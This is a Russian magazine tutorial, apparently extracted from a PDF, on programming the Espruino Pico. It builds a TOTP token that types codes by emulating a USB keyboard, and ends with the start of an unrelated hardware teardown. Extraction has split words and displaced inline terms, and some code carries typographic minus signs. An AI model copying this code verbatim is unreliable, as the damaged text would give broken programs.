ЗАГРУЗКА ПЕРВОЙ ПРОГРАММЫ В ESPRUINO — УПРАВЛЕНИЕ
ВСТРОЕННЫМИ СВЕТОДИОДАМИ
Сле дующий шаг стан дар тный — «помигать све тоди одом». Для это го в пра вой
час ти сре ды раз работ ки уже есть готовый код:

var on = false;
setInterval(function() {
 on = !on;
 LED1.write(on);

}, 500);

Единс твен ное, что мож но про ком менти ровать в этих стро ках, — это исполь‐ 
зование встро енно го объ екта  , пред став ляюще го собой экзем пляр спе‐ 
циаль ного  клас са  ,  который  пред назна чен  для  управле ния  пор тами  вво‐ 
да‐вывода. В дан ном слу чае метод    исполь зует ся для  задания  уров ня
на выходе пор та  (логичес кие ноль/еди ница),  к  которо му под клю чен крас ный
све тоди од, уста нов ленный на пла те.

LED1
Pin

write

Наж мем на икон ку «Send to Espruino».

Че рез мгно вение в кон соль будет выведен лого и замига ет крас ный све тоди‐ 
од:

_____                 _
|   __|___ ___ ___ _ _|_|___ ___
|   __|_ ‐| . |  _| | | |   | . |
|_____|___|  _|_| |___|_|_|_|___|
         |_| http://espruino.com
1v94 Copyright 2016 G.Williams

>
=undefined
>

Для отклю чения фун кции   мож но  ввес ти  в  кон соли 
.

setInterval() clearIn‐
terval()

,   и   (номер кон такта мик рокон трол лера, к которо му под клю чен
све тоди од)  соот ветс тву ют  крас ному  све тоди оду,    и    (он  под клю чен
к  кон такту  )  —  зелено му.  Адре совать  све тоди оды  мож но  и  с  помощью
номеров кон тактов, к которым они под клю чены:   экви вален тно   и  ,

 —  .

LED LED1 B2
LED2 B12

B12
B2 LED LED1

B12 LED2
Мож но вос поль зовать ся и хорошо зна комой арду инщи кам фун кци ей 

:
dig‐

italWrite()

digitalWrite(LED2, 1)

Есть воз можность изме нить сос тояние на задан ный пери од фун кци ей 
:

digi‐
talPulse()

digitalPulse(LED1, 1, 50);

Или задать целую пос ледова тель ность:

digitalPulse(LED1, 1, [50,200,50]);

Пор ты,  к  которым  под клю чены  све тоди оды,  смон тирован ные  на  пла те,
не под держи вают режим широт но‐импуль сной модуля ции (ШИМ), или Pulse‐
Width Modulation (PWM), и попыт ка изме нить их яркость, записав что‐то в эти
пор ты  фун кци ей  ,  при ведет  к  ошиб ке.  Но  управле ние
яркостью  све тоди одов  все‐таки  воз можно  с  помощью  встро енно го  режима
прог рам мной эму ляции ШИМ:

analogWrite()

analogWrite(B2, 0.1, {soft:true});

Бо лее  того,  мож но  одновре мен но  с  этим  задать  пери оди чес кое  вклю чение
и отклю чение:

analogWrite(LED2, 0.1, { soft: true, freq: 16 });

ОТРАБОТКА НАЖАТИЙ НА ВСТРОЕННУЮ КНОПКУ
Про читать сос тояние кноп ки поз воля ет фун кция  :digitalRead()

>digitalRead(BTN)
=0

Мо нито рить сос тояние кноп ки мож но, пери оди чес ки счи тывая ее сос тояние
с помощью  , одна ко более кор рек тным будет исполь зование
фун кции  :

setInterval()
watch()

clearWatch();      // Удалить старые триггеры (если были)
setWatch(          // Задать новый триггер (watch)
 function(e) {    // Callback при срабатывании триггера
                  // e.state — состояние кнопки
   digitalPulse(LED1, 1, 50);
 },
 BTN,             // Мониторим состояние встроенной кнопки
 {                // Параметры триггера
   repeat: true,  // Мониторить многократно
   debounce : 50, // Предотвращение дребезга контактов (в 
миллисекундах)
   // edge: "rising",  // Срабатывать только при нажатии
   // edge: "falling", // Срабатывать только при отпускании
   edge: "both",       // Срабатывать как при нажатии, так и при 
отпускании
 }

);

РЕЖИМ HID, ЭМУЛЯЦИЯ КЛАВИАТУРЫ
Espruino под держи вает работу через USB в режиме   (Human Interface De‐
vice),  что  поз воля ет  эму лиро вать  кла виату ру,  мышь  или  план шет  (под‐ 
робнее —  ).

HID

здесь
Для  эму ляции  USB‐кла виату ры  необ ходимо  под клю чить  внеш ний  модуль

. Вве дем в пра вой час ти окна в тек сто вом редак торе:USBKeyboard

const kb = require("USBKeyboard");
LED1.write(1);
kb.type('HELLO, ', () =>
 kb.setModifiers(kb.MODIFY.SHIFT, () =>
   kb.type('WORLD', () =>
     kb.setModifiers(0, () =>
       kb.tap(kb.KEY.ENTER, () =>
         LED1.write(0)
       )
     )
   )
 )

);

Espruino Web IDE опре делит, что исполь зует ся внеш ний модуль, и про изве дет
его  поиск  в  под катало ге    катало га  про екта  (его  пред варитель но
необ ходимо задать в нас трой ках) и в катало ге 

  на  сай те  Espruino,  минифи циру ет  его  (в  соот ветс твии  с  нас трой‐ 
ками), затем вмес те с тек стом прог раммы заг рузит в Espruino. Мож но ука зать
не  толь ко  имя  модуля,  мож но  ука зать  URL  фай ла  с  его  исходным  тек стом,
в этом слу чае модуль будет заг ружен с ука зан ного ресур са.

modules
https://www.espruino.com/

modules/

ЗАПИСЬ ПРОГРАММЫ ВО FLASH-ПАМЯТЬ
Для того что бы режим   начал работать, пла ту нуж но отклю чить и под клю‐ 
чить сно ва. Что бы прог рамма не стер лась при отклю чении питания, ее нуж но
сох ранить  во  внут ренней  Flash‐памяти.  Для  это го  пред назна чена  фун кция

:

HID

save()

>save()
=undefined
Erasing Flash.....
Writing.........
Compressed 81600 bytes to 6595
Checking...
Done!
>

ЗАПУСК ESPRUINO БЕЗ ЗАГРУЗКИ ПОЛЬЗОВАТЕЛЬСКОЙ
ПРОГРАММЫ ИЗ ВНУТРЕННЕЙ FLASH-ПАМЯТИ
Ес ли  прог рамма,  сох ранен ная  во  Flash‐памяти,  работа ет  неп равиль но
и  переза писать  ее  из‐за  это го  невоз можно,  необ ходимо  непос редс твен но
пос ле вклю чения нажать встро енную кноп ку и подож дать око ло двух секунд.
Если  при  этом  пооче ред но  мига ют  крас ный  и  зеленый  све тоди оды,  зна чит,
кноп ка была нажата слиш ком рано и пла та переш ла в режим заг рузчи ка. Про‐ 
межу ток очень корот кий, но, если в него попасть, Espruino запус тится без заг‐ 
рузки прог раммы, про шитой во Flash‐памяти.

ОБЪЕКТ E
Объ ект    объ еди няет  раз личные  вспо мога тель ные  фун кции,  спе цифич ные
для Espruino. В чис ле его методов — обра бот ка сиг налов  (реали зация на C
быс тро го  пре обра зова ния  Фурье  и  свер тки),  интерпо ляция  зна чений
для  одно мер ных  и  дву мер ных  мас сивов),  низ коуров невые  фун кции
для  работы  с  флеш‐памятью,  сто роже вым  тай мером  (watchdog  timer),  поз‐ 
воля ющим авто мати чес ки перезаг рузить устрой ство при зависа нии, управле‐ 
ние час тотой про цес сора и дру гие инте рес ные шту ки.

E

Нап ример, мож но счи тать зна чение тер мисто ра, встро енно го в  :STM32

>E.getTemperature()
=33.90860215053
>

Муль тифак торная авто риза ция
Муль тифак торная  авто риза ция  (multi‐factor  authorization,  MFA)  зас лужен но
счи тает ся  эффектив ным  спо собом  (конеч но,  со  сво ими  огра ниче ниями)
повыше ния безопас ности дос тупа к ресур сам.

АЛГОРИТМ TOTP
Один  из  наибо лее  рас простра нен ных  методов  такой  авто риза ции —  одно‐ 
разо вые пароли (one‐time passwords) и в час тнос ти    (time‐base one time
passwords),  одно разо вые  пароли,  осно ван ные  на  вре мени.  Их  под дер жка
реали зова на на боль шом количес тве сай тов. Со сто роны кли ента их реали‐ 
зация пред став лена такими популяр ными при ложе ниями, как Google Authenti‐
cator и Authy.

TOTP

TOTP — это час тный слу чай алго рит ма HOTP (HMAC‐based one‐time pass‐
word),  в  котором  в  качес тве  счет чика,  исполь зуемо го  для  генера ции  хеша,
берет ся  поряд ковый  номер  вре мен ного  интерва ла,  начиная  с  некото рого
момен та.

HMAC  —  hash‐based  message  authentication  code  (код  аутен тифика ции,
под твержда ющий сооб щения на осно ве хеш‐фун кции). Алго ритм HMAC поз‐ 
воля ет  про верить  целос тность  и  под линность  некото рого  сооб щения
с исполь зовани ем хеш‐фун кции, сек ретно го клю ча и самого сооб щения. С их
помощью  генери рует ся  код аутен тифика ции,  который может про верить  вто‐ 
рая сто рона,  выпол нив  такой же алго ритм. В слу чае HOTP в  качес тве сооб‐ 
щения берет ся некий общий для обе их сто рон син хрон ный счет чик.

Ал горитм HOTP опи сан в  :RFC 4226
вы чис ляет ся  фун кция  HMAC  от  зна чений  сек ретно го  клю ча  и  счет чика
с исполь зовани ем фун кции хеширо вания SHA‐1;

•

для  получен ной  20‐бай тной  стро ки  выпол няет ся  «динами чес кое  отсе‐ 
чение», для это го берут ся ее млад шие четыре бита и их зна чение счи тает‐ 
ся сме щени ем, по которо му из этой же стро ки выделя ются четыре бай та;
стар ший бит получен ного зна чения отбра сыва ется;

•

по лучен ные 31 бит перево дят ся в десятич ный вид, и от них берет ся нуж ное
количес тво цифр резуль тиру юще го пароля, начиная с наиме нее зна чимых.

•

Ге нера ция TOTP‐паролей опи сана в  . В  качес тве обще го счет чика
в нем исполь зует ся количес тво интерва лов, начиная с некото рого началь ного
момен та,  обще го  для  обо их  устрой ств.  Как  пра вило,  началь ным  момен том
счи тает ся  начало  отсче та  вре мени  в  Unix‐сис темах,  а  в  качес тве  интерва ла
при нима ются 30‐секун дные отрезки вре мени.

RFC 6238

Для  работы  это го  алго рит ма  необ ходимо,  что бы  часы  исполь зуемых
устрой ств были син хро низи рова ны. Хотя у Espruino Pico есть свои 

,  они  не  энер гонеза виси мы,  и  необ ходимо  либо
орга низо вать  ,  либо  под клю чить 

.

встро енные
часы  реаль ного  вре мени

пи тание  от  акку муля тора внеш ний  модуль
часов реаль ного вре мени со встро енным акку муля тором

Для  син хро низа ции  вре мени  с  компь юте ром,  на  котором  ведет ся  раз‐ 
работ ка,  в  нас трой ках  Espruino  Web  IDE  необ ходимо  вклю чить  сле дующий
параметр:  Settings →  Communications →  Set  Current  Time.  Теперь  при  заг‐ 
рузке  кода  прог раммы  вре мя  устрой ства  будет  син хро низи ровать ся
с основным компь юте ром.

Сек ретный ключ на сай тах при водит ся обыч но в виде стро ки в кодиров ке
Base32 (допол нитель но для мобиль ных устрой ств может выводить ся QR‐код,
что бы счи тать его с помощью встро енной камеры).

КОДИРОВКА BASE32
Су щес тву ет  нес коль ко  вари антов  кодиров ки  Base32.  В  дан ном  слу чае
исполь зует ся вари ант, опи сан ный в стан дарте  . При этом исходная
пос ледова тель ность  бай тов  рас смат рива ется  как  неп рерыв ная  пос ледова‐ 
тель ность  битов.  Эта  битовая  пос ледова тель ность  раз бива ется  на  бло ки
по  пять  бит,  и  каж дому  такому  бло ку  ста вит ся  в  соот ветс твие  один
из  32  базовых  сим волов.  Сим волы  (соот ветс тву ющие  бло кам  по  пять  бит)
объ еди няют ся в  груп пы по пять  (40 бит). Если общая дли на пос ледова тель‐ 
нос ти  не  крат на  пяти  сим волам  (40  битам  исходной  пос ледова тель нос ти),
она может допол нять ся сим волами  .

RFC 4648

=
При  обратном  пре обра зова нии  каж дый  из  сим волов  стро ки  в  кодиров ке

Base32  пре обра зует ся  в  бло ки  из  пяти  бит,  затем  резуль тиру ющая  пос‐ 
ледова тель ность из бло ков по пять бит пре обра зует ся в бло ки по восемь бит,
соот ветс тву ющие бай там резуль тиру ющей стро ки.

Так  как  мы  реали зуем  толь ко  токен,  нам  необ ходима  лишь  фун кция
декоди рова ния стро ки Base32 (сфор мирован ной сер вером).

/**
* Функция перевода строки в кодировке Base32 в строку 

шестнадцатеричных цифр
*
* @param {string} base32    — входная строка в кодировке Base32
* @returns {string}         — результат в виде строки 

шестнадцатеричных цифр
*/

const base32ToHex = function(base32) {
 const base32chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
 let bits = ""; // Последовательность битов
 let hex  = ""; // Результирующая строка шестнадцатеричных цифр
 // Преобразуем последовательность символов в строку двоичных цифр
 for (let i = 0; i < base32.length; i++) {
   // Текущий символ закодированной строки
   const ch = base32.charAt(i).toUpperCase();
   // Значение 0..31, соответствующее символу Base32
   const val = base32chars.indexOf(ch);
   // Добавляем биты полученного числа в строку двоичных цифр
   bits += decToBin(val, 5);
 }
 // Преобразуем строку двоичных цифр в строку шестнадцатеричных цифр
 for (let i = 0; i + 4 <= bits.length; i+=4) {
   // Выделяем четыре бита, соответствующие одной шестнадцатеричной 
цифре
   const chunk = bits.substr(i, 4);
   // Преобразуем четыре бита в одну шестнадцатеричную цифру
   // и накапливаем в результирующей строке
   hex = hex + parseInt(chunk, 2).toString(16);
 }
 return hex;

};

До бавим  нес коль ко  вспо мога тель ных  фун кций  для  пре обра зова ний  меж ду
сис темами счис лений:

/**
* Вспомогательная функция дополнения строки до заданного количества 

символов
*
* @param {string} s — исходная строка
* @param {number} l — необходимая длина строки, до которой идет 

дополнение
* @param {string} p — символ‐заполнитель
* @returns {string} — результирующая строка
*/

const leftpad = function(s, l, p) {
 while (s.length < l) s = p + s; // Дополняем слева до достижения 

нужной длины
 return s;

};
/**
* Преобразование числа в строку шестнадцатеричных цифр
*
* @param {number} num       — исходное число
* @param {string} [byteLen] — длина результирующего слова в 

_байтах_ (если результат меньше,
*                             он будет дополнен до этого значения)
*/

const decToHex = function(num, byteLen) {
 // Преобразуем десятичное число в строку шестнадцатеричных цифр
 let res = Math.round(num).toString(16);
 // Дополняем нулями
 return leftpad(res, (byteLen || 1)*2, "0");

};
/**
* Преобразование строки шестнадцатеричных цифр в число
*
* @param {string} strHex — строка шестнадцатеричных цифр
* @returns {number}      — результирующее число
*/

const hexToDec = function(strHex) {
 return parseInt(strHex, 16);

};
/**
* Преобразование числа в строку двоичных цифр
*
* @param   {number} num    — исходное число
* @param   {number} bitLen — количество битов в результате
* @returns {string}        — строка двоичных цифр
*/

const decToBin = function(num, bitLen) {
 // Преобразуем десятичное число в строку шестнадцатеричных цифр
 // Дополняем нулями
 return leftpad(num.toString(2), bitLen, '0');

};

Заг рузим в Espruino и про верим:

>base32ToHex('ABCDEFGHIJKLMNOPQRSTUVWXYZ234567');
="00443214c74254b635cf84653a56d7c675be77df"

Продолжение статьи →
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КОДИНГ  НАЧАЛО СТАТЬИ←

ВЫЧИСЛЕНИЕ HMAC SHA-1 С ПОМОЩЬЮ БИБЛИОТЕКИ JSSHA
Espruino  не  содер жит  встро енной  фун кции  для  вычис ления  HMAC  SHA‐1.
Для  вычис ления  OTP  мож но  вос поль зовать ся  биб лиоте кой  ,  взяв
из  нее  толь ко  тот модуль,  в  котором  реали зова на  имен но  нуж ная  хеш‐фун‐ 
кция. Фун кции   мож но нап рямую ука зать URL с кодом необ ходимо‐ 
го модуля пря мо с GitHub.

jsSHA

require()

До бавим в начале фай ла с исходным кодом:

// Подключаем реализацию SHA‐1 из библиотеки jsSHA
// Код модуля по данной ссылке уже минифицирован
const jsSHA = require('https://raw.githubusercontent.com/Caligatio/
jsSHA/master/src/sha1.js');

За тем объ явим новый класс  :TOTP

TOTP = function() {
 //

};

И соз дадим объ ект это го клас са:

const totpObj = new TOTP();

До бавим внут ри клас са TOTP метод вычис ления зна чения счет чика на осно ве
текуще го вре мени.

 /**
  * Функция вычисления счетчика на основе текущего времени
  *
  * @returns {string}           — результат в виде строки 
шестнадцатеричных цифр
  */
 this.calcCounter = function() {
   // Текущее время в секундах
   const currentTimeSec = Math.round(new Date().getTime() / 1000.0);
   // Начало отсчета
   const startTimeSecT0 = 0;
   // Длительность интервала
   const intervalSecTI = 30;
   // Текущее значение счетчика
   const counterTC = Math.floor( (currentTimeSec‐startTimeSecT0)/
intervalSecTI);
   // Время начала следующего интервала (то есть момент, когда 
текущий код перестанет быть валиден)
   const nextIntervalSec = (counterTC+1) * intervalSecTI;
   // Оставшееся время валидности текущего кода
   this.validFor = nextIntervalSec ‐ currentTimeSec;
   // Преобразуем значение счетчика в строку шестнадцатеричных 
цифр, соответствующую восьми байтам
   const counterHex = decToHex(counterTC, 8);
   return counterHex;
 };

До бавим метод вычис ления HMAC для SHA‐1 с исполь зовани ем биб лиоте ки
:jsSHA

 /**
  * Функция вычисления HMAC для SHA‐1 с использованием библиотеки 
jsSHA
  *
  * @param {string} secretHex   — значение secret в виде строки 
шестнадцатеричных цифр
  * @param {string} messageHex  — значение message в виде строки 
шестнадцатеричных цифр
  * @returns {string}           — результат в виде строки 
шестнадцатеричных цифр
  */
 this.hmacSha1 = function (secretHex, messageHex) {
   // Создаем объект для вычисления HMAC SHA‐1
   const shaObj = new jsSHA("SHA‐1", "HEX");
   shaObj.setHMACKey(secretHex, "HEX"); // Задаем secret
   shaObj.update(messageHex);           // Задаем строку
   return shaObj.getHMAC("HEX");        // Возвращаем полученное 
значение HMAC
 };

Ме тод динами чес кого отсе чения:

 this.dynamicTruncate = function(hmacHex) {
   // В качестве смещения берем последний полубайт (то есть 
последний символ строки)
   const offset = hexToDec(hmacHex.substring(hmacHex.length ‐ 1));
   // Выделяем четыре байта, начиная с полученного смещения
   const truncatedHex = hmacHex.substr(offset * 2, 8);
   // Выделяем младшие 31 бит
   const truncatedDec = (hexToDec(truncatedHex) & hexToDec(
"7fffffff")) + "";
   return decToHex(truncatedDec);
 };

И глав ный метод вычис ления одно разо вого пароля, собира ющий осталь ные:

 this.generateHotp = function(secretHex, counterHex, len) {
   // По умолчанию длина OTP‐пароля — шесть цифр
   len = len || 6;
   // Функция вычисления HMAC SHA‐1 с использованием библиотеки 
jsSHA
   const hmacHex = this.hmacSha1(secretHex, counterHex);
   // Производим динамическое отсечение
   const trunc_hex = this.dynamicTruncate(hmacHex);
   // Преобразуем в строку десятичных цифр
   const trunc_dec = hexToDec(trunc_hex) + '';
   // Возвращаем последние цифры
   return trunc_dec.substr(trunc_dec.length ‐ len, len);
 };

Ос новная точ ка вхо да с инди каци ей и логиро вани ем:

 this.getOTP = function(secret) {
   console.log('* Calculating OTP...');
   // Гасим красный светодиод
   digitalWrite(LED1, false);
   // Включаем мерцание зеленого светодиода
   analogWrite(LED2, 0.01, { soft: true, freq: 16 });
   // Сохраняем текущее время
   const startTime = new Date();
   try {
     // Вычисляем значение счетчика
     const counterHex = this.calcCounter();
     console.log('** counterHex: ${counterHex}');
     // Переводим секретный ключ из Base32 в строку 
шестнадцатеричных цифр
     const secretHex = base32ToHex(secret);
     console.log('* secretHex: ${secretHex}');
     // Вычисляем одноразовый пароль
     const otp = this.generateHotp(secretHex, counterHex);
     console.log('* DONE, OTP: ${otp} [${ Math.round(new Date() ‐ 
startTime)/1000} seconds]');
     // Индицируем завершение вычислений выключением зеленого 
светодиода
     digitalWrite(LED2, false);
     return otp; // Возвращаем результат
   } catch (error) {
     // В случае ошибки
     // гасим зеленый светодиод
     digitalWrite(LED2, false);
     // Индицируем ошибку мерцанием красного светодиода
     analogWrite(LED1, 1, { soft: true, freq: 5 });
     console.log('* ERROR:', error);
     // Прерываем выполнение с выводом ошибки
     throw error;
   }
 };

Под клю чим модуль кла виату ры в начале исходно го тек ста прог раммы:

// Подключаем модуль HID клавиатуры
const kb = require("USBKeyboard");

За тем  вне  дек ларации  клас са  добавим отра бот ку  нажатия  на  кноп ку,  вызов
метода вычис ления пароля и его переда чу на компь ютер эму ляци ей набора
на кла виату ре.

setWatch(
 // Callback при нажатии на кнопку
 function() {
   // Гасим все светодиоды
   digitalWrite(LED1, false);
   digitalWrite(LED2, false);
   // Начальные значения:
   // — пин‐код (если есть)
   const pin = ""; // put_your_PIN_Prefix_here
   // — секретный постоянный пароль для генерации одноразовых 
паролей
   const secretBase32 = "ABCDEFGHIJKLMNOP"; // put_your_google
_authenticator_secret_here
   // !!!
   // В данной реализации секретный пароль хранится в памяти 
Espruino в открытом виде
   // и может быть без проблем считан злоумышленником
   // !!!
   // Вычисляем одноразовый пароль
   const otp = totpObj.getOTP(pin+secretBase32);
   // Включаем зеленый светодиод на полную яркость
   digitalWrite(LED2, true);
   // Имитируем набор на клавиатуре символов пин‐кода и 
одноразового пароля
   kb.type(pin + otp, function() {
     // По завершении набора символов имитируем нажатие клавиши 
ENTER
     kb.tap(kb.KEY.ENTER);
     // Гасим зеленый светодиод
     digitalWrite(LED2, false);
   });
 },
 // Мониторим изменение порта, к которому подключена встроенная 

кнопка
 BTN,
 // Параметры мониторинга
 {
   debounce: 100, //
   repeat: true,  //
   edge: "rising" //
 }

);

Пер вая вер сия токена готова.

ПРОВЕРКА
Про верить работос пособ ность мож но, выз вав метод нап рямую:

>totpObj.getOTP('ABCDEFGHIJKLMNOP');
* Calculating OTP...
** counterHex: 0000000003014aea
* secretHex: 00443214c74254b635cf
* DONE, OTP: 271471 [1.372 seconds]
="271471"

Или нажати ем на кноп ку устрой ства, помес тив ука затель мыши в каком‐либо
тек сто вом поле.

Про верить  кор рек тность  вычис ления  одно разо вого  пароля  мож но,  нап‐ 
ример, на  .этом сай те

Пе ред тем как про бовать код из при меров на каком‐либо реаль ном сай те:
про дуб лируй  код,  сох ранив  его  с  помощью  про верен ной  прог раммы
генера ции одно разо вых паролей, такой как Google Authenticator или Authy;

•

рас печатай коды вос ста нов ления, пред лага емые сай том;•
не  забывай,  что  без  под клю чения  акку муля тора  пос ле  его  извле чения
из  USB‐пор та  вре мя  на  нем  очень  быс тро  сбра сыва ется,  что  при ведет
к  генера ции  некор рек тных  паролей.  Необ ходимо  либо  уста новить  акку‐ 
муля тор,  либо  под клю чить  модуль  часов  реаль ного  вре мени  со  встро‐ 
енным акку муля тором;

•

не  забывай,  что  сек ретный  пароль  сох ранен  на  устрой стве  в  откры том
виде.

•

ВСТРОЕННЫЕ СРЕДСТВА ДЛЯ ВЫЧИСЛЕНИЯ HMAC И SHA-1
Ге нера ция  пароля  устрой ством  занима ет более  секун ды,  это  не очень  ком‐ 
фор тно. Биб лиоте ка   реали зова на на чис том JavaScript, и, хотя вре мя,
зат рачива емое на вычис ление HMAC SHA‐1, прак тичес ки незамет но на обыч‐ 
ном  компь юте ре,  на  Espruino  дли тель ность  вычис лений  ста новит ся  кри тич‐ 
ной.

jsSHA

У Espruino есть собс твен ные низ коуров невые натив ные реали зации вычис‐ 
ления  хеш‐фун кций  в  биб лиоте ках    и  .  Есть  и  собс твен ная  биб‐ 
лиоте ка    (хотя  она  написа на  на  JavaScript,  в  этом  алго рит ме  слож ных
вычис лений нет и на про изво дитель ность это не пов лияет, в отли чие от SHA‐
1).

crypto haslib
hmac

Од нако исполь зовать нап рямую их не получит ся — в биб лиоте ке haslib нет
реали зации  алго рит ма  SHA‐1,  а  готовая  реали зация    несов‐ 
мести ма с биб лиоте кой hmac. Поэто му для работы со встро енны ми фун кци‐ 
ями при дет ся написать «обер тку» вок руг фун кции   в класс, сов‐ 
мести мый с клас сом  , который исполь зует ся биб лиоте ками hmac и haslib
(исходный  код модуля    мож но  пос мотреть  в  катало ге    непос‐ 
редс твен но на сай те  , отку да и под гру жают ся модули фун кци ей

 в Espruino Web IDE). У это го клас са все го три метода, при чем один
из них биб лиоте кой не исполь зует ся. Еще один момент — объ екты типа 
соз дают ся без клю чево го сло ва  , вызовом конс трук тора нап рямую, поэто‐ 
му  клю чевое  сло во    мы  не  при меня ем,  соз давая  новый  объ ект  (в
перемен ной  ).

crypto.SHA1

crypto.SHA1
HASH
hmac /modules/

espruino.com/
require()

HASH
new

this
self

// Класс для вычисления SHA‐1 с использованием crypto.SHA1() для 
передачи в модуль hmac
const sha1 = function(m) {
 const self = {}; // Инициализируем результирующий объект
 // Сохраняем параметр конструктора в self._message
 self._message = m || '';
 self.block_size = 64;
 // Функция update просто добавляет новую строку к self._message
 self.update = function(m) {
   self._message += m;
 };
 // Вычисление дайджеста от self._message
 self.digest = function() {
   const digestArrayBuffer = crypto.SHA1(self._message);
   let s = arrBufToStr( digestArrayBuffer );
   return s;
 };
 // Не используется в библиотеке hashlib
 self.hexdigest = function() {
   throw new Error('Not implemented');
 };
 return self;

};

До пол нитель но понадо бит ся вспо мога тель ная фун кция, пре обра зующая объ‐ 
ект типа   в обыч ную стро ку, код каж дого сим вола которой равен
зна чению соот ветс тву юще го бай та исходно го объ екта:

ArrayBuffer

/**
* Преобразование объекта ArrayBuffer в строку
*
* @param {ArrayBuffer} a
* @returns {string}
*/

const arrBufToStr = function(a) {
 let s = '';
 for (let i = 0; i < a.length; i++)
   s += String.fromCharCode( a[i] );
 return s;

};

И еще пара фун кций для кон версии раз личных пред став лений дан ных:

   /**
    * Функция перевода символов строки байтов в их 
шестнадцатеричное представление
    * в виде строки шестнадцатеричных цифр
    *
    * @param {string} str
    * @returns {string}
    */
   const strToHex = function(str) {
     let s = '';
     for (let i = 0; i < str.length; i++)
       s += (256+str.charCodeAt(i)).toString(16).substr(‐2);
     return s;
   };
   /**
    * Функция перевода строки шестнадцатеричных цифр в строку байтов
    *
    * @param {string} str
    * @returns {string}
    */
   const hexToStr = function(str) {
     let s = "";
     for (let i = str.length‐1; i>0; i‐=2) {
       const byte = str.substr(i‐1,2);
       s = String.fromCharCode( hexToDec(byte) ) + s;
     }
     return s;
   };

Те перь готовы все «кир пичики» для того, что бы написать новый метод вычис‐ 
ления HMAC SHA‐1 клас са  :TOTP

 this.hmacSha1_new = function (secretHex, messageHex) {
   // Преобразуем параметры в нужный вид
   const secretStr  = hexToStr(secretHex);
   const messageStr = hexToStr(messageHex);
   // Вычисляем HMAC с помощью встроенной функции, передав ей 
секретный ключ, сообщение
   // и наш объект — обертку вокруг crypto.SHA1
   const shaObj = hmac.create(secretStr, messageStr, sha1);
   return shaObj.hexdigest();  // Возвращаем полученное значение 
HMAC
 };

И внут ри метода   заменим вызов фун кции 
на  :

generateHotp() this.hmacSha1()
this.hmacSha1_new()

   //const hmacHex = this.hmacSha1(secretHex, counterHex);
   const hmacHex = this.hmacSha1_new(secretHex, counterHex);

Дли тель ность  вычис лений  при  этом  сущес твен но  изме нит ся  в  луч шую  сто‐ 
рону, сни зив шись до 0,17 с, и перес танет вызывать дис комфорт.

ВОЗМОЖНЫЕ ПРОБЛЕМЫ
Ес ли  пла та  работа ет  толь ко  с  под клю чен ным  USB,  а  без  него  зависа ет,
наибо лее  веро ятная  при чина  —  бло киров ка  вывода  на  кон соль,  которая
по  умол чанию  нас тро ена  на  USB  и  бло киру ет  работу,  ког да  он  недос тупен.
Для  устра нения  проб лемы  нуж но  либо  убрать  все  ,  ,
либо  перек лючить  кон соль  на  пос ледова тель ный  порт  (толь ко  так,  что бы
оста вить воз можность воз вра щения обратно на USB).

console.log print()

Под робнее  об  устра нении  этих  и  дру гих  проб лем  —  на  стра нице 
 сай та Espruino.

Trou‐
bleshooting

ЗАКЛЮЧЕНИЕ
Espruino — очень дру желюб ная и при ятная в работе плат форма. Хотя в этой
статье мы и не поп робова ли под клю чить никакой перифе рии, под держи вает‐ 
ся  огромное  чис ло  стан дар тных  внеш них модулей  с  дей стви тель но  эле мен‐ 
тарным  под клю чени ем.  Ее  мож но  сме ло  рекомен довать  тем,  кто  зна ком
с JavaScript и хочет пог рузить ся в мир мик рокон трол леров.

В качес тве даль нейше го раз вития реали зации одно разо вых паролей мож‐ 
но  вмес то  эму ляции  кла виату ры  в  режиме    сде лать  при ложе ние
для компь юте ра, которое будет обме нивать ся дан ными с токеном.

HID

Ин терес ным  раз вити ем  кон цепции  одно разо вых  паролей  стал  стан дарт
FIDO  U2F,  под держи ваемый  Yubico  и  Google.  Авто риза ция  про исхо дит
без  вво да  кода  с  кла виату ры,  дос таточ но  толь ко  нажатия  на  кноп ку  токена,
под держи вающе го  этот  стан дарт.  При  этом  токен  выс тупа ет  в  роли  HID‐
устрой ства, с которым бра узер вза имо дей ству ет нап рямую для обме на клю‐ 
чами  с  сай том.  К  сожале нию,  ресур сов  Espruino  Pico  недос таточ но  для  его
под дер жки,  по  край ней  мере  с  исполь зовани ем  реали заций  шиф рования
на JavaScript.

Под дер жка  HID  поз воля ет  исполь зовать  такое  устрой ство  и  в  недоб рых
целях, ана логич но  , эму лируя пос ледова тель нос ти нажатий
кла виш  на  целевом  компь юте ре  и  пыта ясь,  нап ример, 

.

USB Rubber Ducky
соз дать  коман дный

файл  для  перезаг рузки  компь юте ра  и  добавить  его  в  пап ку  автостар та
текуще го поль зовате ля

WWW

• Ис ходный код про екта в репози тории на GitHub
Ос нова дан ной статьи — • ре али зация одно разо вых паролей  (OTP) на Es‐
pruino Pico

ПРО ЕКТ ESPRUINO

• Сайт про екта Espruino
• Раз дел Espruino Pico на сай те Espruino.com

РА БОТА С ФЛЕШ‑ПАМЯТЬЮ НА ESPRUINO

• Мо дуль Flash
• При мер его исполь зования для записи сер тифика тов
• Мо дуль EEPROM on Flash

ОД НОРАЗО ВЫЕ ПАРОЛИ U2F

• Спе цифи кации FIDO Alliance
• Раз дел для раз работ чиков на сай те Yubico, пос вящен ный U2F
• Де мосайт для тес тирова ния U2F‐устрой ств

ПРИ МЕРЫ РЕАЛИ ЗАЦИЙ

  (форк
)

• Вир туаль ное  рас ширение  для  эму ляции  аппа рат ного  клю ча  U2F
mplatt/virtual‐u2f

• То кен с откры тым исходным кодом U2F ZERO
• Yubico Universal 2nd Factor (U2F) Host C Library
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FERRUM

Мы  иссле дова ли  внут реннее  устрой ство  USB‐накопи теля
с  под дер жкой  Wi‐Fi  и  деталь но  изу чили  осо бен ности  его
работы. Внеш ность ока залась обманчи ва, а резуль таты тес‐ 
тов  изме нили  пер воначаль ное  пред став ление  об  устрой‐ 
стве. Наш отчет  и  про токол  вскры тия SanDisk Connect  при‐ 
водит ся ниже без купюр и сог ласова ний с про изво дите лем.
Здесь  нет  ни  грам ма  мар кетин га,  а  девайс  был  куп лен
за свой счет just for fun.

На чалось все с того, что на одной из хакер ских кон ферен ций мне встре тил ся
человек, прев ратив ший свой рюк зак в мобиль ный фай ловый сер вер. В рюк‐ 
заке лежал роутер с аль тер натив ной про шив кой, а в его USB‐порт была вот‐ 
кну та  обыч ная  флеш ка.  Мар шру тиза тор  питал ся  от  боль шого  акку муля тора
и шей рил фай лы по Wi‐Fi. Любой мог под клю чить ся к откры той бес про вод ной
сети с интри гующим наз вани ем, пос мотреть сох ранен ные фай лы (в основном
